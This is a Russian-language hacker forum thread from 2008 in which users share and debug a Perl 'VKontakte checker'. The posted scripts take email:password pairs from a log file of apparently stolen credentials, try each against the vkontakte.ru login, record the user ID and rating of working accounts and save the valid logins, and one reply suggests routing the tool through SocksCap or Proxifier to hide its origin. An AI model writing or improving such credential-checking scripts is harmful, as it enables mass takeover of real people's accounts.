Помогите запустить VKontakte checker на PERL.

Discussion in 'PHP' started by MaTpOc, 23 Jun 2008.

  1. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Все проблема решена, всем спасибо!
    Все-таки была ошибка в самом скрипте! ;)
     
  2. QuoFX

    QuoFX New Member

    Joined:
    15 Dec 2007
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Это либо при копировании сюда глюкнуло.
    Либо защита от детишек.
    хз)
    но там регуляру можно и сократить как я написал, он и так все цифры с Id возьмет =)
     
  3. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    подскажите лучше чекер чтоб кол-во друзей выводил а то ручками долго)
     
  4. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Чуток переделанный код
    Code:
    #!/usr/bin/perl
    # VKONTAKTE    cheker
    # Original author Xszz.AoH
    # Modified by svesve
    # tnx to a4at members who help me with perl ;-)
    use strict;
    use LWP::UserAgent;
    
    use HTTP::Cookies;
    
    open (FILE , '<logs.txt');
    my @f = <FILE>;
    chomp @f;
    my $ua = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);
    open (OUT , '>>IDS_rate.txt');
    while (@f)
    {
    my ($mail, $pass) = split(/:/, shift(@f));
    
    my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
    my $suc = $req =~ /302 Found/;
    if ($suc )
    {
    $req = $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
    my $idd=$2;
    my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;
    print "[rate=$res]:[id=$idd]:$mail:$pass\n";
    if (!$idd)
    {
    print "Account deleted \n";
    }
    print OUT $res.":".$idd.":".$mail.":".$pass."\n";
    }
    else{print"[-]bad login or password \n";}
    }
    close OUT;
    close FILE;
     
  5. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Вот скрипт, я его немного сделал под себя:
    Code:
    #!/usr/bin/perl
    # VKONTAKTE cheker
    # Original author Xszz.AoH
    # Modified by svesve
    # tnx to a4at members who help me with perl 
    use strict;
    use LWP::UserAgent;
    
    use HTTP::Cookies;
    
    open (FILE , '<logs.txt');
    my @f = <FILE>;
    chomp @f;
    my $ua = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);
    open (OUT , '>>IDS_rate.txt');
    while (@f)
    {
    my ($mail, $pass) = split(/ : /, shift(@f));
    
    my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
    my $suc = $req =~ /302 Found/;
    if ($suc )
    {
    $req = $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/;
    my $idd=$2;
    $req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
    my $res = $1 if $req=~m/width:100px">(.{1,4})</;
    print "[rate=$res]:[id=$idd]:$mail:$pass\n";
    if (!$idd)
    {
    print "Account deleted \n";
    }
    print OUT $mail.":".$pass."\n";
    }
    else{print"[-]bad login or password \n";}
    }
    close OUT;
    close FILE;
    
    Посматрите, что нетак, а то сеня утром все было ок, а щас пишет что у всех акках пас или лог не верный, заранее спс.
     
  6. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    А через прокси работает?
     
  7. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    запускай через sockscap или через proxifier и будет тебе счастье
     
  8. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    кароче, с моим скриптом все понятно!
    вобшем он странный какой-то, пишеь его он пашет опред время а потом не пшет, пишешь тоже самое пашет какое-то время а потом та же история...
     
  9. Foxtrot1

    Foxtrot1 Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    0
    Likes Received:
    15
    Reputations:
    5
    а собственно ТС чем этот чекер лучше чем на php... разве скорость выше?